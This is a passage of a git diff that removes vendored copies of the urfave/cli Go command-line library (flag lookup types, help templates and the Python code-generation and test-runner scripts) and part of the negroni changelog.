returns -// false if not found -func (c *Context) GlobalBool(name string) bool { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupBool(name, fs) - } - return false -} - -func lookupBool(name string, set *flag.FlagSet) bool { - f := set.Lookup(name) - if f != nil { - parsed, err := strconv.ParseBool(f.Value.String()) - if err != nil { - return false - } - return parsed - } - return false -} - -// BoolTFlag is a flag with type bool that is true by default -type BoolTFlag struct { - Name string - Usage string - EnvVar string - Hidden bool - Destination *bool -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f BoolTFlag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f BoolTFlag) GetName() string { - return f.Name -} - -// BoolT looks up the value of a local BoolTFlag, returns -// false if not found -func (c *Context) BoolT(name string) bool { - return lookupBoolT(name, c.flagSet) -} - -// GlobalBoolT looks up the value of a global BoolTFlag, returns -// false if not found -func (c *Context) GlobalBoolT(name string) bool { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupBoolT(name, fs) - } - return false -} - -func lookupBoolT(name string, set *flag.FlagSet) bool { - f := set.Lookup(name) - if f != nil { - parsed, err := strconv.ParseBool(f.Value.String()) - if err != nil { - return false - } - return parsed - } - return false -} - -// DurationFlag is a flag with type time.Duration (see https://golang.org/pkg/time/#ParseDuration) -type DurationFlag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value time.Duration - Destination *time.Duration -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f DurationFlag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f DurationFlag) GetName() string { - return f.Name -} - -// Duration looks up the value of a local DurationFlag, returns -// 0 if not found -func (c *Context) Duration(name string) time.Duration { - return lookupDuration(name, c.flagSet) -} - -// GlobalDuration looks up the value of a global DurationFlag, returns -// 0 if not found -func (c *Context) GlobalDuration(name string) time.Duration { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupDuration(name, fs) - } - return 0 -} - -func lookupDuration(name string, set *flag.FlagSet) time.Duration { - f := set.Lookup(name) - if f != nil { - parsed, err := time.ParseDuration(f.Value.String()) - if err != nil { - return 0 - } - return parsed - } - return 0 -} - -// Float64Flag is a flag with type float64 -type Float64Flag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value float64 - Destination *float64 -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f Float64Flag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f Float64Flag) GetName() string { - return f.Name -} - -// Float64 looks up the value of a local Float64Flag, returns -// 0 if not found -func (c *Context) Float64(name string) float64 { - return lookupFloat64(name, c.flagSet) -} - -// GlobalFloat64 looks up the value of a global Float64Flag, returns -// 0 if not found -func (c *Context) GlobalFloat64(name string) float64 { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupFloat64(name, fs) - } - return 0 -} - -func lookupFloat64(name string, set *flag.FlagSet) float64 { - f := set.Lookup(name) - if f != nil { - parsed, err := strconv.ParseFloat(f.Value.String(), 64) - if err != nil { - return 0 - } - return parsed - } - return 0 -} - -// GenericFlag is a flag with type Generic -type GenericFlag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value Generic -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f GenericFlag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f GenericFlag) GetName() string { - return f.Name -} - -// Generic looks up the value of a local GenericFlag, returns -// nil if not found -func (c *Context) Generic(name string) interface{} { - return lookupGeneric(name, c.flagSet) -} - -// GlobalGeneric looks up the value of a global GenericFlag, returns -// nil if not found -func (c *Context) GlobalGeneric(name string) interface{} { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupGeneric(name, fs) - } - return nil -} - -func lookupGeneric(name string, set *flag.FlagSet) interface{} { - f := set.Lookup(name) - if f != nil { - parsed, err := f.Value, error(nil) - if err != nil { - return nil - } - return parsed - } - return nil -} - -// Int64Flag is a flag with type int64 -type Int64Flag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value int64 - Destination *int64 -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f Int64Flag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f Int64Flag) GetName() string { - return f.Name -} - -// Int64 looks up the value of a local Int64Flag, returns -// 0 if not found -func (c *Context) Int64(name string) int64 { - return lookupInt64(name, c.flagSet) -} - -// GlobalInt64 looks up the value of a global Int64Flag, returns -// 0 if not found -func (c *Context) GlobalInt64(name string) int64 { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupInt64(name, fs) - } - return 0 -} - -func lookupInt64(name string, set *flag.FlagSet) int64 { - f := set.Lookup(name) - if f != nil { - parsed, err := strconv.ParseInt(f.Value.String(), 0, 64) - if err != nil { - return 0 - } - return parsed - } - return 0 -} - -// IntFlag is a flag with type int -type IntFlag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value int - Destination *int -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f IntFlag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f IntFlag) GetName() string { - return f.Name -} - -// Int looks up the value of a local IntFlag, returns -// 0 if not found -func (c *Context) Int(name string) int { - return lookupInt(name, c.flagSet) -} - -// GlobalInt looks up the value of a global IntFlag, returns -// 0 if not found -func (c *Context) GlobalInt(name string) int { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupInt(name, fs) - } - return 0 -} - -func lookupInt(name string, set *flag.FlagSet) int { - f := set.Lookup(name) - if f != nil { - parsed, err := strconv.ParseInt(f.Value.String(), 0, 64) - if err != nil { - return 0 - } - return int(parsed) - } - return 0 -} - -// IntSliceFlag is a flag with type *IntSlice -type IntSliceFlag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value *IntSlice -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f IntSliceFlag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f IntSliceFlag) GetName() string { - return f.Name -} - -// IntSlice looks up the value of a local IntSliceFlag, returns -// nil if not found -func (c *Context) IntSlice(name string) []int { - return lookupIntSlice(name, c.flagSet) -} - -// GlobalIntSlice looks up the value of a global IntSliceFlag, returns -// nil if not found -func (c *Context) GlobalIntSlice(name string) []int { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupIntSlice(name, fs) - } - return nil -} - -func lookupIntSlice(name string, set *flag.FlagSet) []int { - f := set.Lookup(name) - if f != nil { - parsed, err := (f.Value.(*IntSlice)).Value(), error(nil) - if err != nil { - return nil - } - return parsed - } - return nil -} - -// Int64SliceFlag is a flag with type *Int64Slice -type Int64SliceFlag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value *Int64Slice -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f Int64SliceFlag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f Int64SliceFlag) GetName() string { - return f.Name -} - -// Int64Slice looks up the value of a local Int64SliceFlag, returns -// nil if not found -func (c *Context) Int64Slice(name string) []int64 { - return lookupInt64Slice(name, c.flagSet) -} - -// GlobalInt64Slice looks up the value of a global Int64SliceFlag, returns -// nil if not found -func (c *Context) GlobalInt64Slice(name string) []int64 { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupInt64Slice(name, fs) - } - return nil -} - -func lookupInt64Slice(name string, set *flag.FlagSet) []int64 { - f := set.Lookup(name) - if f != nil { - parsed, err := (f.Value.(*Int64Slice)).Value(), error(nil) - if err != nil { - return nil - } - return parsed - } - return nil -} - -// StringFlag is a flag with type string -type StringFlag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value string - Destination *string -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f StringFlag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f StringFlag) GetName() string { - return f.Name -} - -// String looks up the value of a local StringFlag, returns -// "" if not found -func (c *Context) String(name string) string { - return lookupString(name, c.flagSet) -} - -// GlobalString looks up the value of a global StringFlag, returns -// "" if not found -func (c *Context) GlobalString(name string) string { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupString(name, fs) - } - return "" -} - -func lookupString(name string, set *flag.FlagSet) string { - f := set.Lookup(name) - if f != nil { - parsed, err := f.Value.String(), error(nil) - if err != nil { - return "" - } - return parsed - } - return "" -} - -// StringSliceFlag is a flag with type *StringSlice -type StringSliceFlag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value *StringSlice -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f StringSliceFlag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f StringSliceFlag) GetName() string { - return f.Name -} - -// StringSlice looks up the value of a local StringSliceFlag, returns -// nil if not found -func (c *Context) StringSlice(name string) []string { - return lookupStringSlice(name, c.flagSet) -} - -// GlobalStringSlice looks up the value of a global StringSliceFlag, returns -// nil if not found -func (c *Context) GlobalStringSlice(name string) []string { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupStringSlice(name, fs) - } - return nil -} - -func lookupStringSlice(name string, set *flag.FlagSet) []string { - f := set.Lookup(name) - if f != nil { - parsed, err := (f.Value.(*StringSlice)).Value(), error(nil) - if err != nil { - return nil - } - return parsed - } - return nil -} - -// Uint64Flag is a flag with type uint64 -type Uint64Flag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value uint64 - Destination *uint64 -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f Uint64Flag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f Uint64Flag) GetName() string { - return f.Name -} - -// Uint64 looks up the value of a local Uint64Flag, returns -// 0 if not found -func (c *Context) Uint64(name string) uint64 { - return lookupUint64(name, c.flagSet) -} - -// GlobalUint64 looks up the value of a global Uint64Flag, returns -// 0 if not found -func (c *Context) GlobalUint64(name string) uint64 { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupUint64(name, fs) - } - return 0 -} - -func lookupUint64(name string, set *flag.FlagSet) uint64 { - f := set.Lookup(name) - if f != nil { - parsed, err := strconv.ParseUint(f.Value.String(), 0, 64) - if err != nil { - return 0 - } - return parsed - } - return 0 -} - -// UintFlag is a flag with type uint -type UintFlag struct { - Name string - Usage string - EnvVar string - Hidden bool - Value uint - Destination *uint -} - -// String returns a readable representation of this value -// (for usage defaults) -func (f UintFlag) String() string { - return FlagStringer(f) -} - -// GetName returns the name of the flag -func (f UintFlag) GetName() string { - return f.Name -} - -// Uint looks up the value of a local UintFlag, returns -// 0 if not found -func (c *Context) Uint(name string) uint { - return lookupUint(name, c.flagSet) -} - -// GlobalUint looks up the value of a global UintFlag, returns -// 0 if not found -func (c *Context) GlobalUint(name string) uint { - if fs := lookupGlobalFlagSet(name, c); fs != nil { - return lookupUint(name, fs) - } - return 0 -} - -func lookupUint(name string, set *flag.FlagSet) uint { - f := set.Lookup(name) - if f != nil { - parsed, err := strconv.ParseUint(f.Value.String(), 0, 64) - if err != nil { - return 0 - } - return uint(parsed) - } - return 0 -} diff --git a/vendor/github.com/urfave/cli/funcs.go b/vendor/github.com/urfave/cli/funcs.go deleted file mode 100644 index cba5e6cb0c..0000000000 --- a/vendor/github.com/urfave/cli/funcs.go +++ /dev/null @@ -1,28 +0,0 @@ -package cli - -// BashCompleteFunc is an action to execute when the bash-completion flag is set -type BashCompleteFunc func(*Context) - -// BeforeFunc is an action to execute before any subcommands are run, but after -// the context is ready if a non-nil error is returned, no subcommands are run -type BeforeFunc func(*Context) error - -// AfterFunc is an action to execute after any subcommands are run, but after the -// subcommand has finished it is run even if Action() panics -type AfterFunc func(*Context) error - -// ActionFunc is the action to execute when no subcommands are specified -type ActionFunc func(*Context) error - -// CommandNotFoundFunc is executed if the proper command cannot be found -type CommandNotFoundFunc func(*Context, string) - -// OnUsageErrorFunc is executed if an usage error occurs. This is useful for displaying -// customized usage error messages. This function is able to replace the -// original error messages. If this function is not set, the "Incorrect usage" -// is displayed and the execution is interrupted. -type OnUsageErrorFunc func(context *Context, err error, isSubcommand bool) error - -// FlagStringFunc is used by the help generation to display a flag, which is -// expected to be a single line. -type FlagStringFunc func(Flag) string diff --git a/vendor/github.com/urfave/cli/generate-flag-types b/vendor/github.com/urfave/cli/generate-flag-types deleted file mode 100644 index 7147381ce3..0000000000 --- a/vendor/github.com/urfave/cli/generate-flag-types +++ /dev/null @@ -1,255 +0,0 @@ -#!/usr/bin/env python -""" -The flag types that ship with the cli library have many things in common, and -so we can take advantage of the `go generate` command to create much of the -source code from a list of definitions. These definitions attempt to cover -the parts that vary between flag types, and should evolve as needed. - -An example of the minimum definition needed is: - - { - "name": "SomeType", - "type": "sometype", - "context_default": "nil" - } - -In this example, the code generated for the `cli` package will include a type -named `SomeTypeFlag` that is expected to wrap a value of type `sometype`. -Fetching values by name via `*cli.Context` will default to a value of `nil`. - -A more complete, albeit somewhat redundant, example showing all available -definition keys is: - - { - "name": "VeryMuchType", - "type": "*VeryMuchType", - "value": true, - "dest": false, - "doctail": " which really only wraps a []float64, oh well!", - "context_type": "[]float64", - "context_default": "nil", - "parser": "parseVeryMuchType(f.Value.String())", - "parser_cast": "[]float64(parsed)" - } - -The meaning of each field is as follows: - - name (string) - The type "name", which will be suffixed with - `Flag` when generating the type definition - for `cli` and the wrapper type for `altsrc` - type (string) - The type that the generated `Flag` type for `cli` - is expected to "contain" as its `.Value` member - value (bool) - Should the generated `cli` type have a `Value` - member? - dest (bool) - Should the generated `cli` type support a - destination pointer? - doctail (string) - Additional docs for the `cli` flag type comment - context_type (string) - The literal type used in the `*cli.Context` - reader func signature - context_default (string) - The literal value used as the default by the - `*cli.Context` reader funcs when no value is - present - parser (string) - Literal code used to parse the flag `f`, - expected to have a return signature of - (value, error) - parser_cast (string) - Literal code used to cast the `parsed` value - returned from the `parser` code -""" - -from __future__ import print_function, unicode_literals - -import argparse -import json -import os -import subprocess -import sys -import tempfile -import textwrap - - -class _FancyFormatter(argparse.ArgumentDefaultsHelpFormatter, - argparse.RawDescriptionHelpFormatter): - pass - - -def main(sysargs=sys.argv[:]): - parser = argparse.ArgumentParser( - description='Generate flag type code!', - formatter_class=_FancyFormatter) - parser.add_argument( - 'package', - type=str, default='cli', choices=_WRITEFUNCS.keys(), - help='Package for which flag types will be generated' - ) - parser.add_argument( - '-i', '--in-json', - type=argparse.FileType('r'), - default=sys.stdin, - help='Input JSON file which defines each type to be generated' - ) - parser.add_argument( - '-o', '--out-go', - type=argparse.FileType('w'), - default=sys.stdout, - help='Output file/stream to which generated source will be written' - ) - parser.epilog = __doc__ - - args = parser.parse_args(sysargs[1:]) - _generate_flag_types(_WRITEFUNCS[args.package], args.out_go, args.in_json) - return 0 - - -def _generate_flag_types(writefunc, output_go, input_json): - types = json.load(input_json) - - tmp = tempfile.NamedTemporaryFile(suffix='.go', delete=False) - writefunc(tmp, types) - tmp.close() - - new_content = subprocess.check_output( - ['goimports', tmp.name] - ).decode('utf-8') - - print(new_content, file=output_go, end='') - output_go.flush() - os.remove(tmp.name) - - -def _set_typedef_defaults(typedef): - typedef.setdefault('doctail', '') - typedef.setdefault('context_type', typedef['type']) - typedef.setdefault('dest', True) - typedef.setdefault('value', True) - typedef.setdefault('parser', 'f.Value, error(nil)') - typedef.setdefault('parser_cast', 'parsed') - - -def _write_cli_flag_types(outfile, types): - _fwrite(outfile, """\ - package cli - - // WARNING: This file is generated! - - """) - - for typedef in types: - _set_typedef_defaults(typedef) - - _fwrite(outfile, """\ - // {name}Flag is a flag with type {type}{doctail} - type {name}Flag struct {{ - Name string - Usage string - EnvVar string - Hidden bool - """.format(**typedef)) - - if typedef['value']: - _fwrite(outfile, """\ - Value {type} - """.format(**typedef)) - - if typedef['dest']: - _fwrite(outfile, """\ - Destination *{type} - """.format(**typedef)) - - _fwrite(outfile, "\n}\n\n") - - _fwrite(outfile, """\ - // String returns a readable representation of this value - // (for usage defaults) - func (f {name}Flag) String() string {{ - return FlagStringer(f) - }} - - // GetName returns the name of the flag - func (f {name}Flag) GetName() string {{ - return f.Name - }} - - // {name} looks up the value of a local {name}Flag, returns - // {context_default} if not found - func (c *Context) {name}(name string) {context_type} {{ - return lookup{name}(name, c.flagSet) - }} - - // Global{name} looks up the value of a global {name}Flag, returns - // {context_default} if not found - func (c *Context) Global{name}(name string) {context_type} {{ - if fs := lookupGlobalFlagSet(name, c); fs != nil {{ - return lookup{name}(name, fs) - }} - return {context_default} - }} - - func lookup{name}(name string, set *flag.FlagSet) {context_type} {{ - f := set.Lookup(name) - if f != nil {{ - parsed, err := {parser} - if err != nil {{ - return {context_default} - }} - return {parser_cast} - }} - return {context_default} - }} - """.format(**typedef)) - - -def _write_altsrc_flag_types(outfile, types): - _fwrite(outfile, """\ - package altsrc - - import ( - "gopkg.in/urfave/cli.v1" - ) - - // WARNING: This file is generated! - - """) - - for typedef in types: - _set_typedef_defaults(typedef) - - _fwrite(outfile, """\ - // {name}Flag is the flag type that wraps cli.{name}Flag to allow - // for other values to be specified - type {name}Flag struct {{ - cli.{name}Flag - set *flag.FlagSet - }} - - // New{name}Flag creates a new {name}Flag - func New{name}Flag(fl cli.{name}Flag) *{name}Flag {{ - return &{name}Flag{{{name}Flag: fl, set: nil}} - }} - - // Apply saves the flagSet for later usage calls, then calls the - // wrapped {name}Flag.Apply - func (f *{name}Flag) Apply(set *flag.FlagSet) {{ - f.set = set - f.{name}Flag.Apply(set) - }} - - // ApplyWithError saves the flagSet for later usage calls, then calls the - // wrapped {name}Flag.ApplyWithError - func (f *{name}Flag) ApplyWithError(set *flag.FlagSet) error {{ - f.set = set - return f.{name}Flag.ApplyWithError(set) - }} - """.format(**typedef)) - - -def _fwrite(outfile, text): - print(textwrap.dedent(text), end='', file=outfile) - - -_WRITEFUNCS = { - 'cli': _write_cli_flag_types, - 'altsrc': _write_altsrc_flag_types -} - -if __name__ == '__main__': - sys.exit(main()) diff --git a/vendor/github.com/urfave/cli/help.go b/vendor/github.com/urfave/cli/help.go deleted file mode 100644 index 57ec98d58a..0000000000 --- a/vendor/github.com/urfave/cli/help.go +++ /dev/null @@ -1,338 +0,0 @@ -package cli - -import ( - "fmt" - "io" - "os" - "strings" - "text/tabwriter" - "text/template" -) - -// AppHelpTemplate is the text template for the Default help topic. -// cli.go uses text/template to render templates. You can -// render custom help text by setting this variable. -var AppHelpTemplate = `NAME: - {{.Name}}{{if .Usage}} - {{.Usage}}{{end}} - -USAGE: - {{if .UsageText}}{{.UsageText}}{{else}}{{.HelpName}} {{if .VisibleFlags}}[global options]{{end}}{{if .Commands}} command [command options]{{end}} {{if .ArgsUsage}}{{.ArgsUsage}}{{else}}[arguments...]{{end}}{{end}}{{if .Version}}{{if not .HideVersion}} - -VERSION: - {{.Version}}{{end}}{{end}}{{if .Description}} - -DESCRIPTION: - {{.Description}}{{end}}{{if len .Authors}} - -AUTHOR{{with $length := len .Authors}}{{if ne 1 $length}}S{{end}}{{end}}: - {{range $index, $author := .Authors}}{{if $index}} - {{end}}{{$author}}{{end}}{{end}}{{if .VisibleCommands}} - -COMMANDS:{{range .VisibleCategories}}{{if .Name}} - {{.Name}}:{{end}}{{range .VisibleCommands}} - {{join .Names ", "}}{{"\t"}}{{.Usage}}{{end}}{{end}}{{end}}{{if .VisibleFlags}} - -GLOBAL OPTIONS: - {{range $index, $option := .VisibleFlags}}{{if $index}} - {{end}}{{$option}}{{end}}{{end}}{{if .Copyright}} - -COPYRIGHT: - {{.Copyright}}{{end}} -` - -// CommandHelpTemplate is the text template for the command help topic. -// cli.go uses text/template to render templates. You can -// render custom help text by setting this variable. -var CommandHelpTemplate = `NAME: - {{.HelpName}} - {{.Usage}} - -USAGE: - {{if .UsageText}}{{.UsageText}}{{else}}{{.HelpName}}{{if .VisibleFlags}} [command options]{{end}} {{if .ArgsUsage}}{{.ArgsUsage}}{{else}}[arguments...]{{end}}{{end}}{{if .Category}} - -CATEGORY: - {{.Category}}{{end}}{{if .Description}} - -DESCRIPTION: - {{.Description}}{{end}}{{if .VisibleFlags}} - -OPTIONS: - {{range .VisibleFlags}}{{.}} - {{end}}{{end}} -` - -// SubcommandHelpTemplate is the text template for the subcommand help topic. -// cli.go uses text/template to render templates. You can -// render custom help text by setting this variable. -var SubcommandHelpTemplate = `NAME: - {{.HelpName}} - {{if .Description}}{{.Description}}{{else}}{{.Usage}}{{end}} - -USAGE: - {{if .UsageText}}{{.UsageText}}{{else}}{{.HelpName}} command{{if .VisibleFlags}} [command options]{{end}} {{if .ArgsUsage}}{{.ArgsUsage}}{{else}}[arguments...]{{end}}{{end}} - -COMMANDS:{{range .VisibleCategories}}{{if .Name}} - {{.Name}}:{{end}}{{range .VisibleCommands}} - {{join .Names ", "}}{{"\t"}}{{.Usage}}{{end}} -{{end}}{{if .VisibleFlags}} -OPTIONS: - {{range .VisibleFlags}}{{.}} - {{end}}{{end}} -` - -var helpCommand = Command{ - Name: "help", - Aliases: []string{"h"}, - Usage: "Shows a list of commands or help for one command", - ArgsUsage: "[command]", - Action: func(c *Context) error { - args := c.Args() - if args.Present() { - return ShowCommandHelp(c, args.First()) - } - - ShowAppHelp(c) - return nil - }, -} - -var helpSubcommand = Command{ - Name: "help", - Aliases: []string{"h"}, - Usage: "Shows a list of commands or help for one command", - ArgsUsage: "[command]", - Action: func(c *Context) error { - args := c.Args() - if args.Present() { - return ShowCommandHelp(c, args.First()) - } - - return ShowSubcommandHelp(c) - }, -} - -// Prints help for the App or Command -type helpPrinter func(w io.Writer, templ string, data interface{}) - -// Prints help for the App or Command with custom template function. -type helpPrinterCustom func(w io.Writer, templ string, data interface{}, customFunc map[string]interface{}) - -// HelpPrinter is a function that writes the help output. If not set a default -// is used. The function signature is: -// func(w io.Writer, templ string, data interface{}) -var HelpPrinter helpPrinter = printHelp - -// HelpPrinterCustom is same as HelpPrinter but -// takes a custom function for template function map. -var HelpPrinterCustom helpPrinterCustom = printHelpCustom - -// VersionPrinter prints the version for the App -var VersionPrinter = printVersion - -// ShowAppHelpAndExit - Prints the list of subcommands for the app and exits with exit code. -func ShowAppHelpAndExit(c *Context, exitCode int) { - ShowAppHelp(c) - os.Exit(exitCode) -} - -// ShowAppHelp is an action that displays the help. -func ShowAppHelp(c *Context) (err error) { - if c.App.CustomAppHelpTemplate == "" { - HelpPrinter(c.App.Writer, AppHelpTemplate, c.App) - return - } - customAppData := func() map[string]interface{} { - if c.App.ExtraInfo == nil { - return nil - } - return map[string]interface{}{ - "ExtraInfo": c.App.ExtraInfo, - } - } - HelpPrinterCustom(c.App.Writer, c.App.CustomAppHelpTemplate, c.App, customAppData()) - return nil -} - -// DefaultAppComplete prints the list of subcommands as the default app completion method -func DefaultAppComplete(c *Context) { - for _, command := range c.App.Commands { - if command.Hidden { - continue - } - for _, name := range command.Names() { - fmt.Fprintln(c.App.Writer, name) - } - } -} - -// ShowCommandHelpAndExit - exits with code after showing help -func ShowCommandHelpAndExit(c *Context, command string, code int) { - ShowCommandHelp(c, command) - os.Exit(code) -} - -// ShowCommandHelp prints help for the given command -func ShowCommandHelp(ctx *Context, command string) error { - // show the subcommand help for a command with subcommands - if command == "" { - HelpPrinter(ctx.App.Writer, SubcommandHelpTemplate, ctx.App) - return nil - } - - for _, c := range ctx.App.Commands { - if c.HasName(command) { - if c.CustomHelpTemplate != "" { - HelpPrinterCustom(ctx.App.Writer, c.CustomHelpTemplate, c, nil) - } else { - HelpPrinter(ctx.App.Writer, CommandHelpTemplate, c) - } - return nil - } - } - - if ctx.App.CommandNotFound == nil { - return NewExitError(fmt.Sprintf("No help topic for '%v'", command), 3) - } - - ctx.App.CommandNotFound(ctx, command) - return nil -} - -// ShowSubcommandHelp prints help for the given subcommand -func ShowSubcommandHelp(c *Context) error { - return ShowCommandHelp(c, c.Command.Name) -} - -// ShowVersion prints the version number of the App -func ShowVersion(c *Context) { - VersionPrinter(c) -} - -func printVersion(c *Context) { - fmt.Fprintf(c.App.Writer, "%v version %v\n", c.App.Name, c.App.Version) -} - -// ShowCompletions prints the lists of commands within a given context -func ShowCompletions(c *Context) { - a := c.App - if a != nil && a.BashComplete != nil { - a.BashComplete(c) - } -} - -// ShowCommandCompletions prints the custom completions for a given command -func ShowCommandCompletions(ctx *Context, command string) { - c := ctx.App.Command(command) - if c != nil && c.BashComplete != nil { - c.BashComplete(ctx) - } -} - -func printHelpCustom(out io.Writer, templ string, data interface{}, customFunc map[string]interface{}) { - funcMap := template.FuncMap{ - "join": strings.Join, - } - if customFunc != nil { - for key, value := range customFunc { - funcMap[key] = value - } - } - - w := tabwriter.NewWriter(out, 1, 8, 2, ' ', 0) - t := template.Must(template.New("help").Funcs(funcMap).Parse(templ)) - err := t.Execute(w, data) - if err != nil { - // If the writer is closed, t.Execute will fail, and there's nothing - // we can do to recover. - if os.Getenv("CLI_TEMPLATE_ERROR_DEBUG") != "" { - fmt.Fprintf(ErrWriter, "CLI TEMPLATE ERROR: %#v\n", err) - } - return - } - w.Flush() -} - -func printHelp(out io.Writer, templ string, data interface{}) { - printHelpCustom(out, templ, data, nil) -} - -func checkVersion(c *Context) bool { - found := false - if VersionFlag.GetName() != "" { - eachName(VersionFlag.GetName(), func(name string) { - if c.GlobalBool(name) || c.Bool(name) { - found = true - } - }) - } - return found -} - -func checkHelp(c *Context) bool { - found := false - if HelpFlag.GetName() != "" { - eachName(HelpFlag.GetName(), func(name string) { - if c.GlobalBool(name) || c.Bool(name) { - found = true - } - }) - } - return found -} - -func checkCommandHelp(c *Context, name string) bool { - if c.Bool("h") || c.Bool("help") { - ShowCommandHelp(c, name) - return true - } - - return false -} - -func checkSubcommandHelp(c *Context) bool { - if c.Bool("h") || c.Bool("help") { - ShowSubcommandHelp(c) - return true - } - - return false -} - -func checkShellCompleteFlag(a *App, arguments []string) (bool, []string) { - if !a.EnableBashCompletion { - return false, arguments - } - - pos := len(arguments) - 1 - lastArg := arguments[pos] - - if lastArg != "--"+BashCompletionFlag.GetName() { - return false, arguments - } - - return true, arguments[:pos] -} - -func checkCompletions(c *Context) bool { - if !c.shellComplete { - return false - } - - if args := c.Args(); args.Present() { - name := args.First() - if cmd := c.App.Command(name); cmd != nil { - // let the command handle the completion - return false - } - } - - ShowCompletions(c) - return true -} - -func checkCommandCompletions(c *Context, name string) bool { - if !c.shellComplete { - return false - } - - ShowCommandCompletions(c, name) - return true -} diff --git a/vendor/github.com/urfave/cli/runtests b/vendor/github.com/urfave/cli/runtests deleted file mode 100644 index ee22bdeed5..0000000000 --- a/vendor/github.com/urfave/cli/runtests +++ /dev/null @@ -1,122 +0,0 @@ -#!/usr/bin/env python -from __future__ import print_function - -import argparse -import os -import sys -import tempfile - -from subprocess import check_call, check_output - - -PACKAGE_NAME = os.environ.get( - 'CLI_PACKAGE_NAME', 'github.com/urfave/cli' -) - - -def main(sysargs=sys.argv[:]): - targets = { - 'vet': _vet, - 'test': _test, - 'gfmrun': _gfmrun, - 'toc': _toc, - 'gen': _gen, - } - - parser = argparse.ArgumentParser() - parser.add_argument( - 'target', nargs='?', choices=tuple(targets.keys()), default='test' - ) - args = parser.parse_args(sysargs[1:]) - - targets[args.target]() - return 0 - - -def _test(): - if check_output('go version'.split()).split()[2] < 'go1.2': - _run('go test -v .') - return - - coverprofiles = [] - for subpackage in ['', 'altsrc']: - coverprofile = 'cli.coverprofile' - if subpackage != '': - coverprofile = '{}.coverprofile'.format(subpackage) - - coverprofiles.append(coverprofile) - - _run('go test -v'.split() + [ - '-coverprofile={}'.format(coverprofile), - ('{}/{}'.format(PACKAGE_NAME, subpackage)).rstrip('/') - ]) - - combined_name = _combine_coverprofiles(coverprofiles) - _run('go tool cover -func={}'.format(combined_name)) - os.remove(combined_name) - - -def _gfmrun(): - go_version = check_output('go version'.split()).split()[2] - if go_version < 'go1.3': - print('runtests: skip on {}'.format(go_version), file=sys.stderr) - return - _run(['gfmrun', '-c', str(_gfmrun_count()), '-s', 'README.md']) - - -def _vet(): - _run('go vet ./...') - - -def _toc(): - _run('node_modules/.bin/markdown-toc -i README.md') - _run('git diff --exit-code') - - -def _gen(): - go_version = check_output('go version'.split()).split()[2] - if go_version < 'go1.5': - print('runtests: skip on {}'.format(go_version), file=sys.stderr) - return - - _run('go generate ./...') - _run('git diff --exit-code') - - -def _run(command): - if hasattr(command, 'split'): - command = command.split() - print('runtests: {}'.format(' '.join(command)), file=sys.stderr) - check_call(command) - - -def _gfmrun_count(): - with open('README.md') as infile: - lines = infile.read().splitlines() - return len(filter(_is_go_runnable, lines)) - - -def _is_go_runnable(line): - return line.startswith('package main') - - -def _combine_coverprofiles(coverprofiles): - combined = tempfile.NamedTemporaryFile( - suffix='.coverprofile', delete=False - ) - combined.write('mode: set\n') - - for coverprofile in coverprofiles: - with open(coverprofile, 'r') as infile: - for line in infile.readlines(): - if not line.startswith('mode: '): - combined.write(line) - - combined.flush() - name = combined.name - combined.close() - return name - - -if __name__ == '__main__': - sys.exit(main()) diff --git a/vendor/github.com/urfave/negroni/CHANGELOG.md b/vendor/github.com/urfave/negroni/CHANGELOG.md deleted file mode 100644 index 2b6d73cb9f..0000000000 --- a/vendor/github.com/urfave/negroni/CHANGELOG.md +++ /dev/null @@ -1,24 +0,0 @@ -# Change Log - -**ATTN**: This project uses [semantic versioning](http://semver.org/). - -## [Unreleased] - -## [0.2.0] - 2016-05-10 -### Added -- Support for variadic handlers in `New()` -- Added `Negroni.Handlers()` to fetch all of the handlers for a given chain -- Allowed size in `Recovery` handler was bumped to 8k -- `Negroni.UseFunc` to push another handler onto the chain - -### Changed -- Set the status before calling `beforeFuncs` so the information is available to them -- Set default status to `200` in the case that no handler writes status -- was previously `0` -- Panic if `nil` handler is given to `negroni.Use` - -## 0.1.0 - 2013-07-22 -### Added -- Initial implementation. - -[Unreleased]: https://github.com/codegangsta/negroni/compare/v0.2.0...HEAD -[0.2.0]: 